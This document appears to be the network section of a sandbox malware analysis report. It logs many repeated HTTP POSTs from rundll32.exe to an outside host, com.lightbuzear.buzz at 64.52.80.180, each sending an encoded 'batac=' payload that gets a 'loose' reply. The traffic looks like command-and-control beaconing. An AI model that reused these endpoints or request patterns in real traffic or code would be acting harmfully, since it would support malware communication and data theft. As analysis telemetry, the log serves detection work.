2022-08-14 06:40:52 UTC	132	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:52 UTC	133	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:52 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:52 UTC	133	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49180	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:34 UTC	14	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:34 UTC	15	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:34 UTC	16	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:34 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:34 UTC	16	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49252	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:53 UTC	133	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:53 UTC	133	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:53 UTC	134	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:53 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:53 UTC	135	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49253	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:54 UTC	135	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:54 UTC	135	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:54 UTC	136	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:54 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:54 UTC	136	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49254	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:55 UTC	136	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:55 UTC	137	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:56 UTC	138	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:55 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:56 UTC	138	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49255	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:56 UTC	138	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:56 UTC	138	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:57 UTC	139	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:56 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:57 UTC	140	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49256	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:57 UTC	140	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:57 UTC	140	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:58 UTC	141	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:57 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:58 UTC	141	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49257	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:58 UTC	141	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:58 UTC	142	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:59 UTC	143	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:59 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:59 UTC	143	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49258	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:59 UTC	143	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:59 UTC	143	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:00 UTC	144	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:00 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:00 UTC	144	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49259	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:00 UTC	144	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:00 UTC	145	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:01 UTC	146	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:01 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:01 UTC	146	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49260	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:01 UTC	146	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:01 UTC	146	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:03 UTC	148	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:03 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:03 UTC	148	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49261	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:03 UTC	148	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
